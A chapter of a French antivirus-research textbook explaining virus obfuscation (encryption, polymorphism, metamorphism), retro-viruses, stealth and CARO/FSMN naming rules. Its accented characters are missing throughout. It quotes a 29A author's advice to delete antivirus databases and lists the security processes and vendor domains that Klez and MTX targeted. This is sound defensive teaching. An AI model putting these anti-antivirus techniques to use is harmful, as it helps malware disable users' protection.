Apparu en 1987, cette technique permet un unique virus de produire des copies varies, mais oprationnelles, de lui-mme. En mmoire, le code viral reste gnralement prsent en clair ; il fait lobjet dun auto-cryptage avec une cl variable ds quil sagit dinfecter un chier et den sauvegarder son code sur le disque. La routine de dcryptage tant constante lexception des valeurs passes en paramtre la technique ne resta pas longtemps un obstacle la dtection. Une tude du code permet disoler des lments du moteur de dcryptage pour les utiliser comme chane de recherche initiale. Les chercheurs ont maintenant dvelopp des techniques dmulation permettant un dcryptage virtuel en milieu clos. Elles permettent une diffrentiation des variantes et la rparation des chiers. Dans lexemple ci-dessous (virus W32/BlackBat anne 2003), seule la cl de dcryptage (ici BAh) est variable. Les neuf premires instructions sont constantes. Associes quelques autres paramtres structurels, elles sont sufsantes pour indiquer avec certitude la prsence du virus.
406000: 406005: 406006: 406009: 40600E: 406011: 406012: 406013: 406015: 406016: 40601C: 406021: 406026: 40602B: E800000000 5A 83C210 BE220A0000 8032BA 42 4E 75F9 53 DBBBBABABABA BABAEFE9FF E88988BA9E BABABA8ABA BABABA9A25 call pop add mov xor inc dec jne push 406005 edx edx,010 (dbut du dcryptage) esi,000000A22 (octets dcrypter) b,[edx],0BA (cl de dcryptage) edx esi 40600E ebx (dbut du code crypt)

Figure 3.5 W32/BlackBat une forme de cryptage basique

Plus complexe que les prcdents, les dcrypteurs oligomorphiques peuvent prendre un nombre limit de formes. En 1996, le virus programme Ply sest bas sur cette technique. Considrant que les opcodes1 dIntel sont variables dans la taille, lauteur regroupa les instructions par squences de 3 octets. Celles qui nen contenaient quun ou deux taient encadres de code inutile (nop). Elles taient ensuite lies, ou non, par des sauts (jump ou call).

1. lment dterminant dune instruction en assembleur qui la dnit et la diffrencie sans ambigut. Il sagit souvent du premier ou des deux premiers octets (code hexadcimal) dune instruction.

3.3 Les virus/vers par fonctionnalit

103

Figure 3.6 Code oligomorphique (virus Ply.3759.A)

La dtection est ici plus difcile, mais, mme si elles sont positionnes des endroits variables, certaines instructions se retrouvent systmatiquement dans une zone proche du point dentre. Leur prsence est sufsante pour une dtection able. La polymorphie est une forme volue de cryptage oligomorphique. Dans ce cas, le code na aucune partie constante. Le dcryptage est gnr par un moteur polymorphique lui-mme crypt par la routine quil gnre. Une fois dcrypte et sortie de son enveloppe, la rsultante est nanmoins constante. La dtection ncessite ici un long travail de recherche. Ltude du code et les incidences du virus sur des chiers infects connus (des appts) permet ltablissement dun premier faisceau de prsomptions. Si celles ci sont runies, le code maintenant suspect est considr par lanti-virus comme une routine bouclant sur ellemme jusqu la n du processus de dcryptage. Il est alors mul selon des rgles prdnies lors de ltude pralable jusqu ce qui est suppos tre son terme. Si le rsultat obtenu correspond au virus recherch lalarme est donne et lradication envisage. Plutt que de camouer le code viral en y ajoutant, comme une surcouche, un moteur de dcryptage ou une routine polymorphe, le mtamorphisme consiste faire varier le code du virus lui-mme et non plus seulement son enveloppe. Le premier virus ayant tent cette mthode fut W32/Apparition. Il transportait avec lui son propre code source et le recompilait en y insrant quelques codes superus ds quil rencontrait une machine contenant un compilateur appropri.

Dunod La photocopie non autorise est un dlit

104

Chapitre 3. Notions fondamentales

3.3.3 Virus dfensif Retro-virus


Ds lapparition des premiers virus, leurs auteurs tentrent de leur associer des fonctionnalits anti-anti-virus. Il sagit dun type particulier de charge finale (payload) qui ne rend pas pour autant le virus plus dangereux sur une station correctement protge. Si une dcience quelconque a permis au virus de sinstaller, celui ci cherche stopper des processus lis aux produits de scurit quil rencontre. Il sagit gnralement du pare-feu ou de lanti-virus. Il en rsultera des difcults supplmentaires lorsquil sagira dliminer lintrus et de mettre jour le produit dont le fonctionnement est maintenant altr. Mikko Hypponen cite de nombreux exemples de rtro-virus apparus dans les annes 19901, parmi ceux ci, citons : famille CPW (1993). Cybertech. Firefly. Goldbug. Lemming. famille Lockjaw. November_17th.890. Satanbug. Tequila (1991). Tremor (1993). Varicella.

Pour le virus, la premire mthode, et la plus simple, est leffacement des chiers lis un produit anti-virus. En 1993, CPW.1527 (alias Chile Mediera) dtruisait les chiers rpondant au masque :
GUARD guard CPAV SCAN CHKVIRUS CLEAN TOOLKIT VSAFE CHKLIST.CPS

Plus prs de nous, lauteur de virus connu sous le pseudonyme de Benny (groupe 29A) proposait une liste de chiers importants quil lui semblait bon de cibler. Cette liste fut reprise de nombreuses fois. W32/Dengue crit par un autre membre de 29A (GriYo) intgra cette liste.

1. HYPPONEN, Mikko (1994), Retroviruses how viruses ght back, Document disponible ladresse : http://www.hypponen.com/staff/hermanni/more/papers/retro.htm.

3.3 Les virus/vers par fonctionnalit

105

Anti-Antivirus destroy your enemy! If u wanna be sure, that stupid user wont find your virus, then correct that "problem" on AV side erase or modify AV crc files and AV databases. Here r the most important files, which should be erased (mm, but dont forget that after u delete viral database, AV wont run) or in better case only modified (e.g. delete virus from database): *.AVC AVP viral database AVP.CRC AVP crc file *.VDB DrWeb viral database NOD32.000 NODICE viral database ANTI-VIR.DAT TBAV crc file CHKLIST.MS MSAV crc file + some other old AV crc files
Figure 3.7 Un texte de Benny/29A1

La mthode la plus efcace pour un rtro-virus est sans conteste la dsactivation du module rsident. Elle fut inaugure en 1993 par un allemand au pseudo de Neurobasher. Son virus, Tremor, tait en effet capable de dsactiver le module rsident de VSAFE (Central Point Anti-Virus) et de modier son emplacement en mmoire si FPROT est lanc. Cette mthode est toujours trs employe actuellement. Des variantes de W32/ Yaha@MM, W32/Klez@MM ou encore W32/Lirva@MM tentent de stopper nombre de processus lis aux anti-virus actuels. L aussi, la russite ne pourra aboutir que face un produit non jour et incapable de dtecter le virus son arrive.
Tentative darrt des services suivant :

Dunod La photocopie non autorise est un dlit

_AVP32 NRESQ32 NAV NAVRUNR AMON N32SCANW AVGCTRL F-STOPW VET95 AVPTC DVP95 SCAN Mcafee

_AVPCC NSCHED32 NAVAPSVC NAVW32 AVP32 NAVWNT AVWIN95 F-PROT95 SWEEP95 AVE32 F-AGNT95 VIRUS Antivir

NOD32 NSCHEDNT NAVAPW32 _AVPM AVPCC ANTIVIR SCAN32 ACKWIN32 PCCWIN98 AVCONSOL CLAW95 LOCKDOWN2000

NPSSVC NSPLUGIN NAVLU32 ALERTSVC AVPM AVPUPD VSHWIN32 VETTRAY IOMON98 FP-WIN NVC95 Norton

Figure 3.8 Les cibles de W32/Klez.h@MM

1. BENNY (1999), Document disponible ladresse : http://www.tlsecurity.net/Textware/Virus/anti4win.html.

106

Chapitre 3. Notions fondamentales

Citons pour terminer deux autres mthodes rencontres : Destruction de codes de validation : Tequila et Satanbug sattaquaient ceux de VirusScan en 1991. Ils supprimaient les 10 octets complmentaires que le produit ajoutait aux excutables quil contrlait. Peach.887 ciblait Central Point Anti-Virus. Interdiction de rejoindre certains sites Internet afin dempcher les mises jour. En 2000, W95/MTX empchait galement lenvoi de mails vers certaines destinations lies la lutte anti-virale.
Interdiction de rejoindre les domaines contenant les chanes de caractres :

nii. pand lywa

nai. soph tbav

avp. ndmi yman

f-se afee

mapl yenn

Interdiction denvoyer des mails vers les domaines :

wildlist.o* complex.is* metro.ch* pandasoftw* comkom.co.* cellco.com* inforamp.n* bmcd.com.a* sophos.com* f-secure.c*

il.esafe.c* HiServ.com* beyond.com* earthlink.* meditrade.* symantec.c* newell.com* bca.com.nz* maple.com.*

perfectsup* hiserv.com* mcafee.com* inexar.com* mabex.com * successful* singnet.co* trendmicro* netsales.n*

Figure 3.9 Les cibles de W95/MTX

3.3.4 Furtivit
Cest une technique de camouflage. Elle est apparue avec les premiers virus systme. Lauteur de Tequila avait remarqu quau dmarrage de la machine, le secteur de partition tait excut avant lintervention de tout logiciel anti-virus. Il imagina alors une routine permettant de renvoyer vers lanti-virus (et vers tout utilisateur la rclamant) une limage du secteur original. Le secteur infect devenait ainsi invisible. Tequila sattaquait aussi aux excutables. Il ajoutait 2468 octets chaque chier infect. Cette augmentation de taille tait dissimule tous les programmes utilisant les appels DOS (interruptions du DOS 11h/12h et 4Eh/4Fh). Le virus tait ainsi plus difcile voir : une commande dir renvoyait une valeur initiale du chier obtenue en soustrayant la valeur actuelle la taille du virus. Ces techniques taient cependant souvent imparfaites. En milieu infect, alors que la commande chkdsk renvoyait une information errone laissant supposer une

3.4 La classification des virus

107

mmoire disponible non altre (655.360 octets), il sufsait de renommer ce chier, puis de lexcuter nouveau, pour voir linformation relle apparatre. Aujourdhui, ces procds anciens sont dpasss, les techniques actuelles de furtivit consistent rendre invisible le processus charg en mmoire ou encore la prsence du chier. Cest le cas pour le ver W32/Maddis.worm dans les environnements W2000 et XP.

3.3.5 Infecteur rapide


Une fois en mmoire, un infecteur rapide est un virus qui infecte non seulement les programmes qui sont excuts, mais galement ceux qui sont simplement manipuls ou ouverts. Un anti-virus non jour ou un vrificateur dintgrit peut ainsi aider la programmation massive dun virus si celui ci nest pas dtect au moment du lancement du programme. Par le pass, le virus Frodo fut un exemple clbre. Citons plus prs de nous, le virus W95/CIH.

3.3.6 Cocktail
En anglais, blended threat dsigne un fichier infect par plusieurs virus. Selon sa configuration, votre anti-virus sera, ou non, mme de vous indiquer cette double, voire triple infection.

3.4 LA CLASSIFICATION DES VIRUS


Le public sinterroge souvent sur nos manires de dnommer les nouveaux virus. Il est galement souvent drout devant les divers prfixes et suffixes qui encadrent ces noms.
Dunod La photocopie non autorise est un dlit

De nombreuses informations codies sont en effet prsentes de part et dautre du nom simpli souvent repris par les mdias. Le dcryptage de la dnomination complte dun virus peut donc apporter de prcieuses informations quant ses caractristiques. Cest pourquoi nous allons ici en expliquer les dtails. Ce long paragraphe permettra galement dapprhender certaines familles virales peu connues qui nont pas fait jusquici lobjet dune prsentation.

3.4.1 Les virus de premire gnration


Lun des seuls documents officiels tentant de dfinir des standards de dnomination date de 1991. Ce document mane du CARO (Computer Antivirus Research Organization). Il a t diffus en 1993 par Vesselin Bontchev et Fridrik Skulason. cette poque, les macro-virus et les virus ciblant les environnements Windows nexistaient pas. On ne rencontrait que des virus programmes MS-DOS et des virus systme.

108

Chapitre 3. Notions fondamentales

Ce document na jamais fait lunanimit et de nombreux diteurs ne lont utilis que partiellement. Il propose un nom en quatre parties dlimites par des points. Un cinquime lment, totalement optionnel, est dsign sous le nom de singularit. Il dbute par deux points. Certaines parties peuvent tre absentes. Le format gnral est le suivant :
<Nom_de_Famille>.<Nom_de_Groupe>.<Rang_de_Variante_Majeure>. <Rang_de_Variante_Mineure>[:Singularit ]

Chaque identiant dtermine une caractristique. Il est construit laide des caractres [ A-Z a-z 0-9 _$%&!` # ]. Les caractres non alphanumriques sont autoriss, mais doivent tre vits. Pour plus de lisibilit, il est possible dutiliser un mixage de minuscules et de majuscules. Lutilisation du soulignage (_) est prfre lespace. Il est utilis, ds quil facilite la comprhension dun lidentiant. La taille de chacun dentre eux ne dpasse pas 20 caractres. Les noms courts sont encourags, mais sil nest quune abrviation factice dun long nom, ce dernier a la prfrence.

Nom de famille
Il reprsente la famille laquelle le virus appartient. Celle ci regroupe des virus ayant des similitudes structurales. La codification de lpoque stipule de ne jamais : Employer des noms de compagnie, des noms de marque ou des noms des personnes vivantes. Lutilisation du nom ou du pseudonyme de lauteur prsum du virus est, par contre, accepte. Mme sil est prfrable de les viter, les prnoms courants sont permis. Les noms lis, de prs ou de loin, au monde de lanti-virus doivent tre particulirement vits. Reprendre un nom de famille existant (le nom est unique). Imaginer un nouveau nom pour un virus appartenant une famille existante. Employer des noms obscnes ou blessants. Reprendre, sans en vrifier la justesse, le nom du fichier dans lequel la souche virale dnommer est implante. On doit galement dviter lemploi : De suites numriques (exemple V845). Pouvant diffrer dune variante lautre, la taille ne peut servir de base un nom de famille. De noms de jours lis des dates dactivation tels que vendredi 13 ou 22 septembre. Ces dates peuvent varier en fonction des variantes et rendre ensuite irrationnel le nom choisi. De noms gographiques bass sur lemplacement de la dcouverte. Il est enn propos quelques rgles gnrales : Tout virus dont le code nexcde pas 100 octets (messages exclus) rejoint la famille Trivial.

3.4 La classification des virus

109

Dunod La photocopie non autorise est un dlit

Les virus relativement petits qui ne font que se reproduire et qui ne contiennent aucune routine particulire sont regroups dans lune des six familles suivantes : SillyC virus non-rsidents, qui infectent seulement les COM ; SillyE virus non-rsidents, qui infectent seulement les EXE ; SillyCE virus non-rsidents, qui infectent COM et EXE ; SillyRC virus rsidents, qui infectent seulement les COM ; SillyRE virus rsidents, qui infectent seulement les EXE ; SillyRCE virus rsidents, qui infectent les COM et les EXE. Les variantes sont ensuite distingues par leur taille. Ces propositions furent souvent ignores dans la forme et de nombreux virus se retrouvrent aussi relis dautres noms gnriques tels que Univ, Tiny, Mini, Minimal, Small ; sans parler des nombreux noms particuliers qui furent affects nombre dentre eux. Les virus systme sans aucune complexit, sils ne font que se reproduire et sils ne contiennent aucune autre routine particulire sont regroups en deux familles : SillyP virus infectant le secteur de partition (MBR) ; SillyB virus infectant le secteur de dmarrage (Boot Sector) Les variantes dans chaque famille sont prcises selon le contenu hexadcimal des 2me et des 3mes octets du secteur infect. Cette proposition na jamais t applique. Les vtrans se souviendront des intituls GenP et GenB que VirusScan utilisait dans les annes 90. Ils concernaient des dtections de virus inconnus (Gen pour gnrique, P pour partition et B pour secteur de boot) sans lien direct avec cette directive. Les virus de recouvrement crits dans un langage volu sont regroups dans une famille unique, appele HLLO. Le langage particulier utilis nentre pas en compte. Les virus compagnons crits dans un langage volu sont regroups dans une famille unique, appele HLLC. Le langage particulier utilis nentrait pas en compte. Cette double proposition semble avoir t partiellement retenue mme si les drives sont frquentes (HLL.ow, HLL.C, Baby).

Nom de groupe
Le nom de groupe sapplique un ensemble important de virus semblables dans une mme famille. Citons comme anciens exemples : AntiCAD, un clone particulier de la famille de Jrusalem, contenant de nombreuses variantes. 1704, un ensemble de plusieurs variantes de virus dans la famille Cascade.

Rang de Variante Majeure


Il est utilis pour rassembler des virus trs semblables au sein dun mme groupe. Le rang est presque toujours un nombre. Si possible, il reprsente la taille du virus.

110

Chapitre 3. Notions fondamentales

Rang de Variante Mineure


Il regroupe des virus de mme taille, de mme structure et de comportement semblables. Trs souvent, ces variantes mineures nont que quelques octets interchangs. Le rang se limite habituellement une ou 2 lettres de lalphabet qui sincrmentent au l du temps (A, B, C, etc.).

Singularit
Un virus peut appartenir une famille particulire de par sa structure, mais un auteur peut ensuite, pour accrotre la difficult, employer une technique de camouflage telle quun moteur polymorphe ou un compacteur (par exemple, PKLite, LZEXE). Si le virus est ensuite capable de se propager en rutilisant de lui-mme ce procd complmentaire, on lui attribue cet index spcial qui le diffrencie de sa variante originale. Si loutil li la mise en uvre du procd se conforme la rgle hirarchique dnie ci-dessus, cest cette appellation complte qui est utilise comme paramtre nal. Citons comme exemple le virus de Pogue. Membre de la famille Gotcha, il utilise le moteur polymorphe MtE.0_90. Son intitul se doit dtre Gotcha.Pogue:MtE.0_90. Si la singularit concerne un outil de compression, on utilise les deux premires lettres de celui-ci. Il est parfois ncessaire dnumrer plusieurs singularits, cest le cas de Civil_War.1234.A:TPE.1_3:MtE.1_00:PK.
Tableau 3.4 Exemple de dnomination complexe dun virus de premire gnration (Civil_War) Nom de famille Nom de groupe Rang de variante majeure Rang de variante mineure Premire singularit 1234 A TPE .1_3 Le code viral est complexifi par lutilisation externe du moteur polymorphique TPE version 1.3 Le code viral est ensuite complexifi une seconde fois par lutilisation externe du moteur polymorphique MtE version 1.00 Pour finir, lintgralit du code est compacte avec PKLite Civil_War Pas de nom de groupe

Seconde singularit

MtE.0_00

Troisime singularit

PK

3.4 La classification des virus

111

3.4.2 Leffort de standardisation actuel


Aucune standardisation nest aujourdhui accepte par lensemble de la communaut anti-virale. Des rgles, issues des prcdentes, sont cependant suivies par les majors de la profession. Aujourdhui, les caractres utiliss pour les identiants se limitent lutilisation des lettres et chiffres [ A-Z a-z 0-9] et du tiret -. De plus : Lespace est dfinitivement proscrit. Il est remplac par le trait bas _. Ce dernier caractre ne doit pas tre doubl. Les autres caractres [ $ % & ! ` # ] sont supprims. Sils sont vraiment indispensables : la perlute & devient _And_ (exemple : Dr_and_Et.1710) le symbole pourcent % devient _Pct_ (ou _Pct sil sagit du caractre final, exemple : PS-MPC.Seven_Pct.672) le point dexclamation ! et le dise # deviennent de nouveau dlimiteurs comme nous lexpliciterons plus loin. Le tiret - et le soulign _ ne sont jamais utiliss comme premier caractre dun identifiant sauf pour un cas despce que nous dtaillerons plus tard. Les majuscules et les minuscules sutilisent bon escient pour faciliter la comprhension : MyParty est prfrable Myparty ou MYPARTY. My_Party est galement acceptable.

Fully Specified Malware Name


Sous labrviation FSMN se cache le principal projet de rglementation en matire de dnomination des objets informatiques malveillants. Au sein du CARO, Nick FitzGerald en est lun des principaux acteurs. En plus des quatre identifiants mis en uvre par le CARO au dbut des annes 90, il propose trois nouveaux lments : Le premier prcise le domaine de la malveillance : il dpasse maintenant le monde des virus. Le second indique la plate-forme qui est cens pouvoir laccueillir. Lavant dernier, intitul dvolution diffrencie, le cas chant, les formes diverses dun mme virus. En ce qui concerne lexistant : Le rang de variante majeure devient systmatiquement une indication de taille, Les dlimiteurs se prcisent : Le premier est triple, il sagit de ://. Le second est la barre oblique /. Les troisime et quatrime sont des points .. Les trois derniers identifiants sont directement lis, cest--dire sans dlimiteur.

Dunod La photocopie non autorise est un dlit

112

Chapitre 3. Notions fondamentales

Le champ singularit est maintenant pluriel. Il dbute par un caractre spcial. Seuls deux identifiants ne sont pas optionnels : Le nom de famille. Le rang de variante mineure. En tenant compte des lments facultatifs, le format complet dun FSMN se rsume par :
[<Malveillance>://][<Plate-forme>/]<Nom_de_Famille> [.<Nom_de_Groupe>][.<Taille>].<Rang_de_Variante_Mineure>[<Dvolution] [Singularits ]

Le public ne retient souvent que les 3 lments rcurrents :


<Plate-forme>/<Nom_de_Famille>.<Rang_de_Variante_Mineure>

auquel se rajoute parfois la singularit qui sapplique gnralement aux massmailers.

Malveillance
Tout en minuscule, ce premier chelon de classification dcrit les grandes familles de programmes malveillants. Sans revenir sur la dfinition des deux premiers, les lments retenus sont ce jour : virus. trojan (cheval de Troie). dropper (implanteur). Cest un programme qui installe un ou plusieurs autres lments malveillants. Le nom de famille qui sassocie chacun dentre eux sera gnralement le mme que celui de llment dpos. Lappellation multidropper (pour linstallation dune srie de programmes malveillants distincts) na pas t retenue comme lment de premier chelon. Certains spcialistes font une distinction entre implanteurs et injecteurs. Ces derniers installent leur hte uniquement en mmoire. Trs peu nombreux, ils ne font pas ici lobjet dune entre particulire mais sont inclus parmi avec les premiers. intended (prtendu). Pour tre considr comme un virus, un programme doit tre mme de se rpliquer de manire rcursive. Sil choue dans cette dmarche du fait dun bug quelconque mais si certaines de ses autres routines fonctionnent (activation dune charge finale par exemple) il reste dangereux. Bien quil puisse sapparenter un cheval de Troie, la rgle actuelle veut que ces faux virus entrent dans une famille particulire connue sous langlicisme intended. kit. Ce sont des boites outils destins la cration de malveillances. la diffrence du dropper, gnralement lanc sur la machine attaquer, le kit ninstalle pas le programme. Il ne fait que le crer et se retrouve donc sur la machine dun concepteur. Ces kits sont souvent des gnrateurs de virus. Certains retournent du code compil (fichiers binaires), dautres du code

3.4 La classification des virus

113

Dunod La photocopie non autorise est un dlit

source ou du code interprt. Il est dusage dutiliser un mme nom de famille pour le kit et ses productions. Exemple : kit://Win32/VBSWG.A virus://VBS/VBSWG.A intended://VBS/VBSWG.B virus://VBS/VBSWG.J@MM Il existe souvent plusieurs versions dun mme gnrateur. Les virus qui en sont issus sont gnralement difficilement diffrentiables. Il nest donc pas fait de lien entre les premiers et les seconds. Il y a souvent bien plus de virus que de gnrateurs et le virus de rang X peut avoir t cr par un kit de rang Y. Dans certains cas rares, il est cependant possible de relier sans erreur les virus et leurs gnrateurs. Ceux ci sont alors affects dun rang numrique, il en va de mme pour les virus. Exemple : kit://W97M/VMPCK1.A kit://W97M/VMPCK2.A virus://W97M/VMPCK1.A, virus://W97M/VMPCK1.B, etc. virus://W97M/VMPCK2.A, virus://W97M/VMPCK2.B, etc. On voit ici une exception dans laquelle un caractre numrique est accept au sein dun nom de famille. garbage (dchet). Cette dnomination est rserve des fichiers contenant du code non fonctionnel, compltement endommag ou encore gnr alatoirement aprs un dump mmoire accidentel. Ces fichiers sont gnralement ignors et nentrent pas dans notre classification. Certains dentre eux doivent pourtant tre rfrencs et mme parfois dtects sil sagit : De codes prsents dans diverses collections virales de pauvre qualit que lon rencontre priodiquement sur Internet et au travers de sources dites underground. De fichiers corrompus frquemment envoys aux chercheurs anti-virus. De fichiers corrompus gnrs et diffuss par un virus quelconque. Il est aussi possible de retrouver dans cette famille des dumps mmoire volontaires (trashbin) issus de ltude dun fichier malveillant quelconque par un chercheur. Ces derniers ne sont pas dtects par lanti-virus mais classifi pour un ventuel usage ultrieur.

Plate-forme
Ce champ dfini le systme dexploitation minimal ou le langage ncessaire lexcution du code. Cest un nom court qui se limite quelques caractres lis une abrviation connue (exemple JS, WM, VBS). Un nom long est galement dfini des fins de clarification, principalement lors des changes techniques avec le public ou les mdias. Les noms longs et courts sont identiques lorsquils ne dpassent pas 5 caractres. On vite ainsi les abrviations artificielles telles que JV pour le langage JAVA. Une liste non exhaustive des termes recommands est reprise ci-aprs ; elle est suivie dune seconde liste qui reprend dautres abrviations utilises mais non admises par lensemble de la profession.

114

Chapitre 3. Notions fondamentales

Des codes malicieux sont parfois lis plus dune plate-forme. Le regroupement de celles-ci seffectue alors par le biais daccolades ; elles sont spares par des virgules ; il ny a pas despace. Il est aussi possible dutiliser dans ce cas la pseudo plate-forme Mul (ou Multi). Le virus que beaucoup connaissent sous le nom de O97M/Tristate.A devrait en fait prendre le nom complet : virus://{W97M,X97M,PP97M}/Tristate.A. Lintitul court O97M (Ofce97Macro) a t cr pour rassembler les codes malicieux ciblant au moins deux applications Microsoft Ofce Project et/ou Visio lis Visual Basic for Applications (VBA) v5.0. Il vite ainsi lutilisation de Mul.

Liste recommande des plates-formes Cette liste volue en permanence, mme si elle nest pas officielle, elle tend tre reconnue par un grand nombre de chercheurs.
Tableau 3.5 Liste recommande pour dfinir les plates-formes pouvant recevoir des virus Forme courte ABAP ACM ActnS Forme longue ABAP AutoCadMacro ActionScript Environnement, remarques, exemples SAP /R3 Advanced Business Application Programming. Exemple : ABAP/Cadabra Macro VBA v5.0 pour AutoCAD r11 et suivants. Exemple : ACM/Star.A Interprteur Macromedia ActionScript (exemple ShockWave Flash). Cet identifiant remplace le triptyque SWF voir tableau suivant) Exemple : ActnS/LFM.926 Macro en AccessBasic AM/AccessiV Interprteur AppleScript. Macro pour AmiPro Exemple : APM/Green_Stripe.A Macro en Visual Basic for Applications (VBA) v5.0 pour Access (Access 97, 2000 et 2002) A97M/Poison Be Operating System Systme dexploitation propritaire de Be Systems. Exemple : BeOS/Kate Rarement utilis : infection des secteurs de dmarrage des disques dur et disquettes (MBR et/ou secteur de BOOT) dans lenvironnement IBM PC et compatible. Exemples : Form, Jumper_B Plates-formes BSD et drives. Unix reste nanmoins le nom de rfrence par dfaut. Exemple : BSD/Block.worm

AM AplS APM A97M

AccessMacro AppleScript AmiProMacro Access97Macro

BeOS

BeOS

Boot

Boot

BSD

BSD

3.4 La classification des virus

115

Forme courte CSC DOS

Forme longue CorelScript DOS

Environnement, remarques, exemples Interprteur CorelScript Exemple : CSC/CSV.A Rarement utilis : infection des fichiers DOS au format COM, EXE (MZ) ou SYS. Systme dexploitation MSDOS ou approchant et compatible. Exemples : Cascade, Jerusalem Systme EPOC jusqu version 5 incluse Exemple : EPOC/Alone Interprteur WinHelp. Cette plate-forme nest pas destine recevoir les codes malicieux en script JS ou VBS, encapsuls-HTML et compils en fichiers Windows de type .CHM (compiled HTML help files) Exemple : HLP/Pluma Interprteur Windows INF (sans distinction de versions) Exemple : INF/Xver.ow Systme dexcution (runtime) Java (autonome ou encapsul dans un navigateur). Exemple : Java/Strange_Brew Interprteur Jscript et /ou JavaScript. Lhte nentre pas en jeu dans cette dfinition. Lindicateur rassemble les codes autonomes JS qui ncessitent MS JS sous WSH, les codes JS encapsuls-HTML et ceux compils en fichiers Windows de type .CHM Exemple : JS/Kak@M Plates-formes Linux et assimilables. Unix reste nanmoins le nom de rfrence par dfaut Exemple : LINUX/Califax Interprteur Apple Macintosh HyperCard Exemple : MacHC/Blink Macintosh OS antrieur OS X (versions 6-9) Exemple : MacOS/Autostart Interprteur mIRC Interprteur Microsoft Intermediate Language Exemple : MSIL/Bikini.worm Pseudo plate-forme. Identifiant ddi aux programmes malicieux couvrant plusieurs plates-formes OS/2. Exemple : OS2/Mynameis Macintosh OS X

EPOC HLP

EPOC WinHelpScript

INF Java

INFScript Java

JS

JScript, JavaScript

Linux

Linux

MacHC
Dunod La photocopie non autorise est un dlit

Macintosh HyperCard MacOS mIRCScript MSIL Multi OS2 OSX

MacOS MIRC MSIL Mul OS2 OSX

116

Chapitre 3. Notions fondamentales

Forme courte O97M

Forme longue Office97Macro

Environnement, remarques, exemples Pseudo plate-forme. Rassemble les codes malicieux ciblant au moins 2 applications Microsoft Office, Project et/ou Visio en Visual Basic for Applications (VBA) v5.0 Exemple : O97M/Tristate PalmOS Exemple : PalmOS/Phage Interprteur Perl. Lhte nentre pas en jeu dans cette dfinition : les virus en shell Perl sous Unix(-like), ceux ncessitant Perl sous WSH et ceux encapsuls-HTML Exemple : Perl/Rans Interprteur PHP Exemple : PHP/Rebber Interprteur Pirch Interprteur PostScript Macro en Visual Basic for Applications (VBA) v5.0 pour Project (Project 97, 2000 et 2002) Exemple : P97M/Eikrad Macro en Visual Basic for Applications (VBA) v5.0 pour PowerPoint (PowerPoint97, 2000 et 2002) Exemple : PP97M/Vic Interprteur ddi aux fichiers de base de registres Windows (.REG). Pas de distinction ASCII / Unicode) Exemple : Reg/Zox.ow Interprteur shell Unix(-like). Lhte nentre pas en jeu dans cette dfinition : Linux, Solaris, HP-UX ou autres, avec interprteur csh, ksh, bash ou autre Plate-forme Solaris Symbian OS (EPOC version 6) Exemple : SymbOS/Cabir

PalmOS Perl

PalmOS Perl

PHP Pirch PS P97M

PHPScript PirchScript PostScript Project97Macro

PP97M

PowerPoint97Macro

REG

Registry

SH

ShellScript

Solaris SymbOS Unix

Solaris

Unix

Indicateur standard (et prfr) pour les codes binaires lis au monde UNIX. Sil est ncessaire de prciser une plate-forme particulire, on utilisera titre exceptionnel lune des trois entres suivantes. Les scripts sont associs lindicateur SH dfini plus haut. Exemple : UNIX/Sorso Interprteur VBS. Lhte nentre pas en jeu dans cette dfinition : VBS sous WSH, encapsul-HTML et ceux compils en fichiers Windows de type .CHM Exemple : VBS/Loveletter.A@MM

VBS

VBScript, VisualBasicScript

3.4 La classification des virus

117

Forme courte V5M

Forme longue Visio5Macro

Environnement, remarques, exemples Macro en Visual Basic for Applications (VBA) v5.0 pour Visio (Visio 5.0, 2000 et 2002) Exemple : V5M/Unstable Macro en WordBasic (WinWord 6.0, Word 95 et Word pour Mac 5) Exemple : WM/CAP Macro en WordBasic (WinWord 2.0) Exemple : W2M/Polite.A Windows 16-bits pour systmes x86 Exemple : W16/RedTeam@MM Windows 32-bits pour systmes x86 (sont exclus Win32s et CE comprennent Windows 9x, ME, NT, 2000, XP) Exemple : W32/Ska@M Macro en Visual Basic for Applications (VBA) v5.0 pour Word (Word 97, 2000 et 2002) Exemple : W97M/Class.A Ancien langage de formules Excel Exemple : XF/Paix Macro en Visual Basic for Applications (VBA) v3.0 pour Excel (Excel pour Windows 5.0 et Excel for Mac 5.x) Exemple : XM/Laroux Macro en Visual Basic for Applications (VBA) v5.0 pour Excel (Excel 97, 2000 et 2002) Exemple : X97M/Sugar

WM

WordMacro

W2M W16 W32

Word2Macro Win16 Win32

W97M

Word97Macro

XF XM

ExcelFormula ExcelMacro

X97M

Excel97Macro

Dunod La photocopie non autorise est un dlit

Liste non admise mais parfois utilise Cette liste rassemble des appellations incorrectes parfois rencontres. Lun des exemples flagrants est le nom HTML qui regroupe un ensemble de fichiers li plusieurs langages (principalement JS et VBS). Notons cependant que la notion de format de fichiers nest pas toujours inapproprie. VBS sapplique un type de fichiers tout en tant lacronyme de linterprteur Visual Basic Script. Des virus de type VBS se retrouvent au sein de fichiers HTML.
Tableau 3.6 Liste non admise pour dfinir certaines plates-formes pouvant recevoir des virus Forme courte ATVX, OCX Forme longue ActiveX Environnement/Remarques Un contrle ActiveX lorsquil nest quun fichier DLL doit tre classifi Win32. Les codes malicieux exploitant des failles de scurit ActiveX doivent tre classifis selon le langage (gnralement de script) qui les supportent. Exemple : AX/Showword, OCX/Exploder

118

Chapitre 3. Notions fondamentales

Forme courte ELF

Forme longue ELF

Environnement/Remarques Utilis par certains dveloppeurs pour classifier les malveillances du monde Linux ou Unix, il dfinit une structure de fichiers ( rapprocher du concept PE pour Windows). Lidentifiant correct est Unix. Exemple : ELF/Spork.worm Les fichiers HTML peuvent vhiculer des scripts malveillants dorigine diverses. Ce sont ces scripts (gnralement JS ou VBS) qui doivent contribuer au choix de lidentifiant. Exemple : HTML/Debeski Les codes malicieux exploitant des failles de scurit IIS (Microsoft Internet Information Server ) ne fonctionneront que sur des machines ddies. La plupart dentres elles sont en environnement Windows 32, Windows 64 et Net Server (plate-forme MSIL). Cest cet environnement qui dfinit lidentifiant adopter. Exemple : IIS/Backdoor.ACE Java est le seul nom court acceptable pour du code malveillant ncessitant un systme dexcution (runtime) Java. Le choix JV ne peut que provoquer dinutiles confusions dabrviations. Exemple : JV/Shinwow. Quelques vendeurs utilisent ce terme. Il est li au langage Java (MPF : multi-OS hosted platform) dont le nom devrait alors servir didentifiant. Certains dveloppeurs classifient comme DotNet des programmes ncessitant lusage dune version .Net, DotNet ou similaire. Cette classification nest pas officiellement reconnue. Il y a lieu dutiliser lidentifiant Win32 sils ne sont pas de purs lments .Net. Dans le cas contraire, on utile lidentifiant MSIL. Palm est 